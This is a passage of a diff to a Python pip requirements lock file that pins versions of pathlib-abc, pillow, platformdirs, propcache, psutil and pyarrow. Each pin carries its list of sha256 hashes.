--hash=sha256:994a79608263fe1c14cc48ffa7300e2b834b7d1cb406ffe96a08828cb0cdd79b \ + --hash=sha256:9ae8073aed8e21d1a7fe263dcdc6840743549722a6738198a0a46000fa9476f2 \ + --hash=sha256:9dab635a549e58a053c7b0fa054dc0bd7be22f0ed9a720f4a85d5fb993276172 \ + --hash=sha256:9e492cd4bdba6778de4fe0df7f4590c012161ebcf9902dce01b01dc683105514 \ + --hash=sha256:a3a22e07fe75347eaacc75b0e85297947af4fba6b4aae23916bd8b6828d0bba3 \ + --hash=sha256:a4dbd4dc65cbe645b92b8785d0f96dd7311010dc6606cf620e51b07b8788a12a \ + --hash=sha256:a77a1a44e4d88f1c6a2a64d3eb12efec8420875722e14279800b173a7c7c2804 \ + --hash=sha256:b27c8d890e4aa2171437ae2a39de1d215e674158e4865c4023a8b31c932513b2 \ + --hash=sha256:bd75ed0c840f709fc2ae26ddd9534ac77ca1a48ac0cce521a74acaa85f3340a7 \ + --hash=sha256:c6e4aae3e9bea26c6c9a20d88d96c86ec4a99b4db5fd516bcb4e829ab2c0ee36 \ + --hash=sha256:c826e9babb7790142c399f58599d8de679bea059d7b39c5b6efa2096fac37266 \ + --hash=sha256:cc39303913e2ea129915670de5d1c9fbd647f543bb72e5543bac8baa94e9e42f \ + --hash=sha256:d7564d86a94c2eb8ab290b07f63ddaae5c032fa53897c29a2ff2197d43aee8af \ + --hash=sha256:d7dcd21238cbb4828ff148481ba01cac8946dc5121457b5aeba28636f8f99a60 \ + --hash=sha256:db7ec631f26223beee8e5c9e0b8f23c24d8197bbd1d982421d4e3188bea51965 \ + --hash=sha256:e3dccb584123b399c07562ac4d62543e90ede49ddf8ce3c13ffc64cbe828c281 \ + --hash=sha256:e7c1905ef02c3d6d43d9dbd5b6ccb4da4870a0b0c821bbc103fbdb6f3ad2707b \ + --hash=sha256:eb6900de08ac85f93ac4948aa6b80842eba555875337b8359035ac9c43e92d34 \ + --hash=sha256:ee913a91669056c1de1a6b733fbfeab711de9e54e3bee2dfa5fe79d9457247d1 \ + --hash=sha256:ef738d71d1059245b6bb03e312be06d8b3821326a83486c1ad03b9aba3710e44 \ + --hash=sha256:f3ce8a6968045481e91a3990e797e348ce13db45ee164a7095bbc824e26c09dd \ + --hash=sha256:f4e7c52eb108d752e7592268108fd3e98efd76d83a3125cdd06c621c2e44359b \ + --hash=sha256:f8029ec0f1f89e4f985929ce1f6626dabf3140d61a4e9c1215afdab34eaf9a5d \ + --hash=sha256:fb625f426b375bcc96e3a04c5d5d266cd7be6ae5d6866e0e703382ab5164068c \ + --hash=sha256:ff51a4459ed036e93d1eb1bb5e6e7b28685d3cb6b7c12b91c05b31024e234729 +pathlib-abc==0.5.2 \ + --hash=sha256:4c9d94cf1b23af417ce7c0417b43333b06a106c01000b286c99de230d95eefbb \ + --hash=sha256:fcd56f147234645e2c59c7ae22808b34c364bb231f685ddd9f96885aed78a94c +pillow==12.3.0 \ + --hash=sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756 \ + --hash=sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4711a \ + --hash=sha256:06ff022112bc9cbf83b60f8e028d94ad87b60621706487e65f673de61610ab59 \ + --hash=sha256:0740a512dc522224c77d9aa5a8d70d8b7d73fb91f2c21125d8d025d3b8990e45 \ + --hash=sha256:0847a763afefb695bc912d7c131e7e0632d4edc1d8698f58ddabec8e46b8b6d3 \ + --hash=sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b227a9d2df \ + --hash=sha256:0feb2e9d6ad6c9e3c06effe9d00f3f1e618a6643273576b016f591e9315a7139 \ + --hash=sha256:10e41f0fbf1eec8cfd234b8fe17a4caac7c9d0db4c204d3c173a8f9f6ef3232b \ + --hash=sha256:1182d52bc2d5e5d7d0949503aa7e36d12f42205dc287e4883f407b1988820d39 \ + --hash=sha256:164b31cd1a0490ab6efae01aa5df49da7061be0af1b30e035b6e9a1bfe34ee6e \ + --hash=sha256:1657923d2d45afb66526e5b933e5b3052e6bdea196c90d3abb2424e18c77dae8 \ + --hash=sha256:186941b6aef820ad110fb01fb06eb925374dc3a21b17e37ec9a53b250c6fe2d1 \ + --hash=sha256:1cca606cd25738df4ed873d5ad46bbdb3d83b5cbca291f6b4ff13a4df6b0bbe8 \ + --hash=sha256:21900ce7ba264168cd50defae43cd75d25c833ad4ad6e73ffc5596d12e25ac89 \ + --hash=sha256:236ff70b9312fb68943c703aa842ca6a758abfa45ac187a5e7c1452e96ef72b5 \ + --hash=sha256:23aceaa007d6172b02c277f0cd359c79492bbb14f7072b4ede9fbcaf20648130 \ + --hash=sha256:23d27a3e0307ec2244cc51e7287b919aa68d097504ebe19df4e76a98a3eea5bd \ + --hash=sha256:24870b09b224f7ae3c39ed07d10e819d06f8720bc551847b1d623832b5b0e28d \ + --hash=sha256:251bf95b67017e27b13d82f5b326234ca62d70f9cf4c2b9032de2358a3b12c7b \ + --hash=sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed \ + --hash=sha256:28ce87c5ab450a9dd970b52e5aca5fe63ed432d18a2eaddd1979a00a1ba24ace \ + --hash=sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb \ + --hash=sha256:30f2aa603c41533cc25c05acd0da21636e84a315768feb631c937177db558931 \ + --hash=sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510 \ + --hash=sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6 \ + --hash=sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1 \ + --hash=sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce \ + --hash=sha256:3edce1d53195db527e0191f84b71d02022de0540bf43a16ed734ed7537b07385 \ + --hash=sha256:446c34dcc4324b084a53b705127dc15717b22c5e140ae0a3c38349d4efec071e \ + --hash=sha256:4998562bf62a445225f22e07c896bb04b35b1b1f2eb6d760584c9c51d7a5f78c \ + --hash=sha256:4b0a7fe987b14c31ebda6083f74f22b561fd3739bc0ac51e019622e3d72668c7 \ + --hash=sha256:4e8c2a84d977f50b9daed6eeaf3baef67d00d5d74d932288f02cb94518ee3ace \ + --hash=sha256:4f883547d4b7f0495ebe7056b0cc2aea76094e7a4abc8e933540f3271df27d9c \ + --hash=sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f \ + --hash=sha256:53aa02d20d10c3d814d536aa4e5ac9b84ca0ff5a88377963b085ad6822f93e64 \ + --hash=sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f \ + --hash=sha256:571b9fcb07b97ef3a492028fb3d2dc0993ca23a06138b0315286566d29ef718a \ + --hash=sha256:57b3d78c95ba9059768b10e28b813002261d3f3dfc55cc48b0c988f625175827 \ + --hash=sha256:5afb51d599ea772b8365ae807ae557f18bccfe46ab261fd1c2a9ed700fc6eb17 \ + --hash=sha256:6b02afb9b97f65fbca5f31db6a2a3ba21aa93030225f150fa3f249717e938fb4 \ + --hash=sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a \ + --hash=sha256:71d6097b330eea8fd15097780c8e89cb1a8ce7838669f48c5bacd6f663dd4701 \ + --hash=sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f19e62b5e \ + --hash=sha256:78cb2c6865a35ab8ff8b75fd122f6033b92a62c82801110e48ddd6c936a45d91 \ + --hash=sha256:7a743ff716f746fc19a9557f60dab1600d4613255f8a7aeb3cdde4db7eb15a66 \ + --hash=sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468 \ + --hash=sha256:8728f216dcdb6e6d555cf971cb34076139ad74b31fc2c14da4fafc741c5f6217 \ + --hash=sha256:877c3f311ff35410f690861c4409e7ccbf0cd2f878e50628a28e5a0bb689e658 \ + --hash=sha256:8cd2f7bdda092d99c9fc2fb7391354f306d01443d22785d0cbfafa2e2c8bb418 \ + --hash=sha256:8e95e1385e4998ae9694eeaa4730ba5457ff61185b3a55e2e7bea0880aef452a \ + --hash=sha256:962864dc93511324d51ddbb5b9f8731bf71675b93ca612a07441896f4688fb8c \ + --hash=sha256:9cf95fe4d0f84c82d282745d9bb08ad9f926efa00be4697e767b814ce40d4330 \ + --hash=sha256:9e881fca225083806662a5c43d627d215f258ff43c890f831966c7d7ba9c7402 \ + --hash=sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09 \ + --hash=sha256:a45650e8ce7fafffd731db8550230db6b0d306d181a90b67d3e6bca2f1990930 \ + --hash=sha256:a876864214e136f0eb367788dbd7df045f4806801518e2cfe9e13229cfe06d8f \ + --hash=sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95ca9505a7bba9ef849ec \ + --hash=sha256:af8d94b0db561cf68b88a267c5c44b49e134f525d0dc2cb7ed413a66bc23559a \ + --hash=sha256:b343699e8308bdc51978310e1c959c584e7869cc8c40780058c87da7781a1e94 \ + --hash=sha256:b3c777e849237620b022f7f297dd67705f9f5cf1685f09f02e46f93e92725468 \ + --hash=sha256:b629de27fda84b42cde7edef0d85f13b958b47f6e9bbcbba9b673c562a89bd8b \ + --hash=sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b5315d5e965 \ + --hash=sha256:ba54cfebe86920a559a7c4d6b9050791c20513650a1952ebe3368c7dc70306f8 \ + --hash=sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd \ + --hash=sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7 \ + --hash=sha256:bf16ba1b4d0b6b7c8e534936632270cf70eb00dbe09005bc345b2677b726855c \ + --hash=sha256:cf1845d02ad822a369a49f2bb9345b1614744267682e7a03527dc3bf6eea1777 \ + --hash=sha256:d69141514cc30b774ceea5e3ed3a6635c8d8a96edf664689b890f4089111fb35 \ + --hash=sha256:d9c7f76c0673154f044e9d78c8655fb4213f6ca31a836df48b40fe5d187717b9 \ + --hash=sha256:dbce0b29841537a2fa4a214c2bbf14de3587c9680caa9b4e217568472490b28f \ + --hash=sha256:dc624f6bc473dacdf7ef7eb8678d0d08edf15cd94fad6ae5c7d6cc67a4e4902f \ + --hash=sha256:e158cb00350dc278f3b91551101aa7d12415a66ebf2c91d8d5ac14e56ddd3ad0 \ + --hash=sha256:e491916b378fba47242221bb9ead245211b70d504f495d105d17b14a24b4907c \ + --hash=sha256:e795b7eb908249c4e43c7c99fac7c2c75dab0c43566e37db472a355f63693d71 \ + --hash=sha256:e7e480451b9fa137494bccd3a7d69adbe8ac65a87d97be61e11f1b1050a5bac3 \ + --hash=sha256:e91206ee562682b51b98ef4b26a6ef48fd84e15fd4c4bc5ec768eb641d206838 \ + --hash=sha256:e9871b1ffbfa9656b60aeee92ed5136a5742696006fa322b29ea3d8da0ecc9cf \ + --hash=sha256:e9aeb04d6aef139de265b29683e119b638208f88cf73cdd1658aa07221165321 \ + --hash=sha256:ebaea975e03d3141d9d3a507df75c9b3ec90fa9d2ffd07567b3a978d9d790b26 \ + --hash=sha256:f0606c8bf2cdefea14a43530f7657cbbb7ecf1c4222512492ef4a4434a9501ec \ + --hash=sha256:f13c32a3abd6079a66d9526e18dad9b6d280384d49d7c54040cd57b6424041d9 \ + --hash=sha256:f7401aebd7f581d7f83a439d87d474999317ee099218e5ad25d125290990ba65 \ + --hash=sha256:fa4ecea169a355be7a3ade2c783e2ed12f0e40d2c5621cda8b3297faf7fbb9f5 \ + --hash=sha256:fbd139c8447d25dd750ab79ee274cc5e1fe80fc56340ab10b18a195e1b6eca3e \ + --hash=sha256:fdafc9cce40277e0f7a0feabce0ee50dd2fa1800f3b38015e51296b5e814048d \ + --hash=sha256:fe3cca2e4e8a592be0f269a1ca4835c25199d9f3ce815c8491048f785b0a0198 \ + --hash=sha256:ffd0c5368496f41b0944be820fcb7a838aa6e623d250b01acf2643939c3f99d7 +platformdirs==4.12.0 \ + --hash=sha256:095be5c143382b1bee917c4f3e9987a0d8d6a582261f1d061ad0c403b7695b5b \ + --hash=sha256:f6fb2960f2f2eb0870f820f7e49e49e6c0f0589c637f34d33b260b07591327c9 +propcache==0.5.4 \ + --hash=sha256:004e685b315646c410771836e72a44f143bbe624f29653a42687815069a303d5 \ + --hash=sha256:02c0a34f16889cf800f10f0247a564d8ce6eeab6ffcd7c87198f769067eb8432 \ + --hash=sha256:03969626faf0783a592dfa17e28eac06018bd0b44dafae6943d53b92421a7f72 \ + --hash=sha256:03b229037d25b801e7af53fd52b9fc49d9439b036fca1e087e02780631adfa97 \ + --hash=sha256:0951315a6b3142ee2167404d707743f0157c110091342b1aa0accac5cf0e4acf \ + --hash=sha256:0a095db8e15a6020db149ecbed6461939fe74f6acaa3ae8b702a1fe8c38cd983 \ + --hash=sha256:0c889f6fa84957bc7e8b4eab71fd16a0455068d5045e3aa40c733071d2b2fd77 \ + --hash=sha256:0d21d0d2c82bbfeb1677a9711f38df968f9837576102bb4add1bd449d28d88f1 \ + --hash=sha256:10ef33a68a61ce317e095fd2e202a592ea92392b90944a78c993f0d9a73ab06c \ + --hash=sha256:12682126712ddc19b70ff819debbd279e58adf1f0c8f8f8138c18ade2044b284 \ + --hash=sha256:135036c5cfc93864affb0f9af9a27e5d7a71cb7bd745e7b6dbfc2d56cc30e827 \ + --hash=sha256:13e52b6e0bde97dee98ab66552dbff2931649c96f1ac432eac299fe689ec373b \ + --hash=sha256:141fdbd73748db0cf7636035030aaac383d2efde8f34e7bc24594cc776d225b8 \ + --hash=sha256:146f48a9e4812611a7581003b1a39de56c34967046310c4171a68ef908c9a745 \ + --hash=sha256:174507f82d3594622acb1dd2dafecf2d899d6d506335494e7107767bf05f3aae \ + --hash=sha256:1783582065a1f07f9d9ee1e992e13f15d7dc8fb1eb3a7476d43eb3f2e69d26bb \ + --hash=sha256:17a7400cec0256f0a71ae71f9da398f9894c956ff6668a1c9d317b3367316320 \ + --hash=sha256:1b2f3bec4261a94019575481c726c29850f72e27907773c75b1de421e20e9f9d \ + --hash=sha256:1d759d05634f1b038fb625a66662a8c85e5a8fec912da381b5149ddac107482b \ + --hash=sha256:1df8d8561b21465c5dd56110a01caf897e026d065b4b84e98a488209094272ec \ + --hash=sha256:213bb68d9ced5cf2bf717b1071bf2b09b4b04c426256f9fe6d054c60318424c4 \ + --hash=sha256:23278f808cd81d5ada7184a76606b925fb3389c60e1077b2cd7da7b1fcf0553c \ + --hash=sha256:251c63dd46a0659bb875cb254dc4c1e79ee91a847c737cd62373295afc2235dc \ + --hash=sha256:279655a16973f1ee2bd2fe79973137681642fd9ae0d89215bba263726eb0dc3a \ + --hash=sha256:2814ecd8e818f487bee4b0f921bc4d1c176cc5fc71ac0f072d0fa67eda4ac14b \ + --hash=sha256:286867fb156488c251a3721766e380ac4495e4fd6b51aaa1403d89ce7f4359d9 \ + --hash=sha256:2dba2f02d2d5c09ef8a0e6c1a42aeaa451f4be9898cb00b04fe98717da2eb23b \ + --hash=sha256:30cc1cebaf9aef49db06357a50398323ae04d70460c0491837d026ab7d6452ea \ + --hash=sha256:31eb43ba2edc704ab2ec27815315dd8a19def0fb16215be4cfe8d32fe78ffd51 \ + --hash=sha256:350b272b2279f4135a64fc0c304a5d08e28a137c9573442c606152446638a831 \ + --hash=sha256:36c0d9db44b523ef93d03341b1c42d69ff01d673c053d1b1c6c3a363bcaa39ba \ + --hash=sha256:3af0c8642b2da4815d86e631232ac8286e17644fad907c19508aa8e7cb4ba8ad \ + --hash=sha256:3cd3a7edb6b95b9b33998135ebfa18d709da82290fb8f27c858970b5a12c8b56 \ + --hash=sha256:3d605bb239b796e82a81c6709548b2bd460ab73b4590cb0c83de8a2dd9694d0f \ + --hash=sha256:3e413d7a4a9b4866b7a761d6060d434b64d23cd35122eda3b026a0bbe8196b25 \ + --hash=sha256:3eb2e820e8e2101407da93f17c57cbb7d225461955fc60105daaba14cd421ee2 \ + --hash=sha256:3fa15757fea1dfcd5b7745cad9f4638929605531bd4018ab2adff7955f1a403d \ + --hash=sha256:3fc24f209c1b7f7f688b66b98293954f5504279760999b58920ee12dd8471c1d \ + --hash=sha256:4054acf80d40456a0537f2913b349718649d8d6458a14ab7f48d0ce28c30869d \ + --hash=sha256:40e94adb1e7d39ff28a8bd8d8b8fbd1df6b9f40976dbe379134f1ce058e532dd \ + --hash=sha256:420162a77f94eb1cf5ef7893f500016dabd548e73de956785a1dd899cc73006a \ + --hash=sha256:425f8cc86ab5018b4b8d4a23bc8e74d964bd3d757c3702e301aa79be76c53f6c \ + --hash=sha256:44149f46500a0a41b95b4d99c2e586a77319539730607b9892974a092788b111 \ + --hash=sha256:445ee3bfb46e85838387fb3c536a73cc0b994dc192b004e40e170adc54aa2a7e \ + --hash=sha256:45488d1a5f9ab5bd90aaa1ca20f50fe1922b8ffad71a2009d2adf41355897aac \ + --hash=sha256:45bebbe252550fec975ba3b62bc6f931643cfd3b5464ef47619cf3fef154e01c \ + --hash=sha256:45bf2e730ab8905d0527fe05a86500f406e64305c34cc81ebe64b4617cab9760 \ + --hash=sha256:48cb48c5346a97de792254af77715aa2529c2a1ebc5f586aa0aae44a02f1fe57 \ + --hash=sha256:4a1f4f5ffa55dce6307631f3cb2948e117e665966ea512e0d502b16c24f567e7 \ + --hash=sha256:4cfe0a92ae30151869e67a4b5f5e105e4e03ad30b3f38e5211b5bf77d0881993 \ + --hash=sha256:4d86476a935c88963d9b8e1a9a0d38188790e9622169bfbafa173046846709d3 \ + --hash=sha256:4e985382be6d15da8d0c2710a6fa7b9070fc9ecdeefb7f580e88373984ec8be3 \ + --hash=sha256:4f2d880ff60f45898f4acfa152aac8d04e3ee627d90ff4003491bf92239d5757 \ + --hash=sha256:4fbc1a15dc8cd1689508758d626b372b1f09d28d9577667feaf9e6bfcd8efcbc \ + --hash=sha256:50e337653721d20ead710da33bf44487fbe8a0db8782714b60306481e9f95b51 \ + --hash=sha256:53eaa697c4d0422ff4cb714d00231b43352064d97b944033b30c1d57cc506ec0 \ + --hash=sha256:56fc3f7599528db40b1efa0889a620116e2704144495273d66066e8164e45838 \ + --hash=sha256:58134228927cee6c047d626c08e60a81be604a20578a12ce752cc5c9a84d4826 \ + --hash=sha256:594eb4c6ec35e7179b058481f4e9f02521b56de16fa577c4b85c76fb1bf8a9f8 \ + --hash=sha256:5cacf3c9efd09df409dc33654dd077e1c245ba8fb747b0f0236ef41b7c49b589 \ + --hash=sha256:60a64cbccaa11b7760ce705a14ada17ba459e7ca9f23ba587eb013821032d7ef \ + --hash=sha256:62530ca89187827e4a4fe733f971abe81a7542eeea48ff61995f19b64d7199c8 \ + --hash=sha256:62c60aec739ed00124573cce1178138fd690c7676352d67a37328c1cf51d7468 \ + --hash=sha256:69fc35c0779522da366c563e5faf203ffc1f8ff0021d5b1337fa4efa5be73177 \ + --hash=sha256:6af4693716bfb03f1752ef1b30faa593db2c01d5272e9b8564a1549452a979ab \ + --hash=sha256:6c7599df2b57ebeea8de011b5f2f7b85de95e76037d43d34b95e328430275487 \ + --hash=sha256:6e9368e87a3efc285e559131092c5db643eb8e56de4ee42064d5baec22ef2bb5 \ + --hash=sha256:6f0093ac3e9daada202c2082439d414a625c57184727a46e112a3fb2a81cb788 \ + --hash=sha256:7177c43eddf10a0893c4fec52ebb408fdcd7f7d63962caace9180d8f81b14ece \ + --hash=sha256:720cf832eb2d0b0dfee129cb3335a26f6ce3cc45ee1187e8f0731758caa16792 \ + --hash=sha256:770e8209d018175fc0063936fa9583b6d27e88c5ad31543f3383d66080efdd62 \ + --hash=sha256:7a8d5ff04eb1f85698a78d20c62a14676e7b960dcafde09a388d60ad377d355d \ + --hash=sha256:7b9100a93b372418d8688f3f2a3e5b45c64d70ca4d6176e121aca1e3bfc1e32f \ + --hash=sha256:7cc528e760a8af06f2b13e9b9f362cd90c7c718ea61228a96dbd31ba16ed7f47 \ + --hash=sha256:7ffafcbfc7b549ab940047e505c831eabac5e67de53e1bc174adbc5285c55944 \ + --hash=sha256:87a3caecf8095e48dc72f84bfa42e23a848cf410cc9cc13031fba4869b706a21 \ + --hash=sha256:886b59c4d28ca97dd23b025fdfc50a0356be934efbbbca89ad26230067f86fe5 \ + --hash=sha256:8876b39961e33d912afe3c1bee18ee564fdad0206f873cc15d522756b7f50737 \ + --hash=sha256:897d1ddf6716e8f47200f7aad9a0efa6cc7586df66c6defa572f9eab379c078e \ + --hash=sha256:8a1fc236528c457cd739c88abe823da851b7ab645d72792f88658114cc340c12 \ + --hash=sha256:8a235f73d6e020855dc29dff012d920c02ee0feab8d73a24185a7569f4be1161 \ + --hash=sha256:8f911c395cef73c510bac566da9507bb6a43e7763d0c79138dc60ee53f11207e \ + --hash=sha256:96f7c5c15656040ddcbc51e56dc59b58aa25999d743c126abd425b9766ab43e9 \ + --hash=sha256:978f28401afbc76cdc3df9e1717b4229a06b626a1dcc75db4e1f2beb3884c3e9 \ + --hash=sha256:98914de2c4d7f0f9f4a8c6ea4bf05841f4175796941e3ef7d47eb718f22311fb \ + --hash=sha256:9a2a8a50a93dee0268a860a07fa3b4bd968f8ce4dbd794957da772f395368526 \ + --hash=sha256:9cbfff4423eef4cc6cafc021469641a2b835f610b2647a6c5281903e21b8670d \ + --hash=sha256:9e9ab13760aa8b6d0881ae7cb04fd891d8d490cd2554ea8e79bb278399169bcc \ + --hash=sha256:9f3551b8a35c1df3e7ea4d2d86edee15f0dde1bddd434a71744048683544d0ef \ + --hash=sha256:9f86f7259efe2c951f43e57d471c9b41daa5bfc7db9f67189059cf1ae6d77fd9 \ + --hash=sha256:9fb0a5be8d9aa213150e8d8148a42aca4984b285bcad1e69587dc4298edd929b \ + --hash=sha256:a219f0ac59817a9114dd2aa57c13180f993e819ba658c7ddab4b66ed1ee0d370 \ + --hash=sha256:a419ee85e654927baabda3929c03c0cc1112bf472ff0dfd6142f4e3a81ca4162 \ + --hash=sha256:a4d7a54719b67338a305dca2ce6aafe366817df94ddfd4b5514374356f5ca546 \ + --hash=sha256:a5793c7698a53f56f4a1889a4737c7eeb1b7ad0842fa6b1abca22913ff79c8c1 \ + --hash=sha256:a5e8ef588c109725dc713ba69aadcac00a1ef90c2ce9c0a8c7075128f569f47f \ + --hash=sha256:a74bfa37147cc08fb29df10bd9c16f40fa7f860cd3a6d2fff853323a94f6e17f \ + --hash=sha256:ada748108a43d29b7c328ba7db3755327cd94f028bcc1a7ee3f0addcfacd9c38 \ + --hash=sha256:ae58f361bd5dae942717c65d3413b478c70aea9c462599e7b9adad3731db3894 \ + --hash=sha256:b28f41fa3b8c6900457f858ec5b03998f3a6d535fbc1bb2edec5961ea05ec429 \ + --hash=sha256:b3083bfe87f95c756e610bd8025f26cbd1cd4aaa03a422f2d65efb7a97cd53d8 \ + --hash=sha256:b61805357d966680acf68b3b6d49772631ed9df44ebece10ff1460e117a7da8a \ + --hash=sha256:b77c313314524ca9c38fbd70f73515d04597ac58c40c939bc0e71eeb4abff680 \ + --hash=sha256:bee7d3aed13d56f54e681df38c3a23031bc9e3863f687d9d598825c9146acd7d \ + --hash=sha256:c02c0e570c5c7e077b0181a9f3cdb7d4c3617d1cda6b5c95bd5d34022923d82c \ + --hash=sha256:c174bfd1c48a1b51a3078e95586dde718374bac79719ab3541ec9e74aec40574 \ + --hash=sha256:c2ba30a89035b57b73e00475de948521602f543d79ce01db10b04b36c4c76fc8 \ + --hash=sha256:c3e98c55bde2bcf7db3c70d1aed7ae9aa8aebbf19a250c66645cde44cdb8b867 \ + --hash=sha256:c3ef2818d63bc86071e9d2989ae75a1bc32b8f7059cfd9f5abbbee70c32e2ed6 \ + --hash=sha256:c83acbce9f2b5e3f5f5eda9e53d2001fed22fcdfef81274a9e02d8fd53b70a30 \ + --hash=sha256:c9281e922c072158c91974d4589f1dbe0fee6d467f284c28e463f9f5a4d933f4 \ + --hash=sha256:cc07876cfb079b6f6f36d21ce75784ad6c2c6b563eeac0ed26c2fa2669b85df9 \ + --hash=sha256:ccf4f7a79e26bb7efb06ecd50c177833b71df05cbc748701372325e6bcc17f6f \ + --hash=sha256:cdee8205a44d0be91bbac4c41b95d86641b72dfc7aef1279400e4fda3f26a937 \ + --hash=sha256:ceb3e879afac028f93d272c957814695dc5569e4904262dbee92f6c41bd5e4a3 \ + --hash=sha256:d1f5a500bfcbb2c0ab85e98a0dcd70f5899d34efe365a0187700369a79603031 \ + --hash=sha256:d42a9a856a4a6e2f6c10f1318c07e7daa498d6593abe745c71dae4521a26ca39 \ + --hash=sha256:d83b12902eb8bce151259c86c03ba746600b2d994543de46e370cecf96c452f2 \ + --hash=sha256:d8e017eeb7482bed34cdb0d61cf2bcfc88d104bbab296a17cd16a6af8aabc70e \ + --hash=sha256:db3ae52ccc150dbc84704e9d642743897f3e1c54742ff34cacb661e52e3818a9 \ + --hash=sha256:dbab5f5ff6897c81f355d079010cdae85b02e5a0b518b5251523b8ad8ae9ac3c \ + --hash=sha256:dc4242ca653c9b30ab51c5f8193323e7bc0928f897ee9103201e59a43abcb72e \ + --hash=sha256:dcbf346a318a5e30063f547630b02bb787ce2f45b6368d5da143660b6a3835d8 \ + --hash=sha256:dd2ac8f5b643454c2cc6b6118b13da16e88f4a6434fc3ba61aca384029f04f36 \ + --hash=sha256:e1d52a05dc417279f7e5c7618c5dfbbc29923aaf9bc0a5c1802ddcebf54c61a0 \ + --hash=sha256:e6720ba44ad7e72174314d0e1fb0172494cff5c73a3a8a2159c3d2402ff15565 \ + --hash=sha256:e738ab81179510ce79b2eac9a6ecf47feffd9e76d1c72e403005dddb6e36c06c \ + --hash=sha256:e904d4d01f36bd6e197590be1533c44e06058771e0746dd073a8ebb3ef880858 \ + --hash=sha256:e9f165403b81fea7e89c932d89046a1e3d9a3a60e8d7ef2f249dccdcb0982bf5 \ + --hash=sha256:ec6a85f424afa8d23e0d9a094e5dbb6eda01da91c92b9183cd433768247ffc97 \ + --hash=sha256:ee19113bce2f3acd46432050688b70f61acd6857d75abb9ec96341b7e9ced123 \ + --hash=sha256:ef3b928d9c984322b5c44e6964d8dbc653da87d2d8ee1647fa6da43072e650a9 \ + --hash=sha256:f273dcf7149a50527c4fd1f55cfe9eac0f60753f5af544b4c9352578e20c0874 \ + --hash=sha256:f5470694918830da62fac9e69133b53d23b736d7070e587b27a4a2be37e08e68 \ + --hash=sha256:f574e460d1c8a08384a016fdb09ccf3543433263ed6b2f97104f979e64ea57c2 \ + --hash=sha256:f85915e00dcb1cd9f2f890ead064ed40a27df06f0db65be427b29482ae357572 \ + --hash=sha256:fc2461ecc45f17893f8207e73b46ea8ba93e33630e51cf4af3fbc21d47462b1a \ + --hash=sha256:ff6b113f50bc066a698db5d944d2c6dc7507168dd3341e255a8892fd0715a558 +psutil==7.2.2 \ + --hash=sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372 \ + --hash=sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9 \ + --hash=sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841 \ + --hash=sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63 \ + --hash=sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979 \ + --hash=sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a \ + --hash=sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b \ + --hash=sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9 \ + --hash=sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee \ + --hash=sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312 \ + --hash=sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b \ + --hash=sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9 \ + --hash=sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e \ + --hash=sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc \ + --hash=sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1 \ + --hash=sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf \ + --hash=sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea \ + --hash=sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988 \ + --hash=sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486 \ + --hash=sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00 \ + --hash=sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8 +pyarrow==25.0.1 \ + --hash=sha256:0b1edbb2f385a6a65e9711b62ba86ac54a7816a3f8d17bb3e8a5929d65fb2485 \ + --hash=sha256:0b726ad7e7b669be982b0c71c07fe4b037d654354130da79a7902a669e93a66b \ + --hash=sha256:0befcf816e45a1af33ac775a9970b749e4868a230c7372f0ae5e932bee27039f \ + --hash=sha256:0fe7c8b6c03969b49c8c66182e4a18e3819ab92d07cfab5d8370c531b9369ef0 \ + 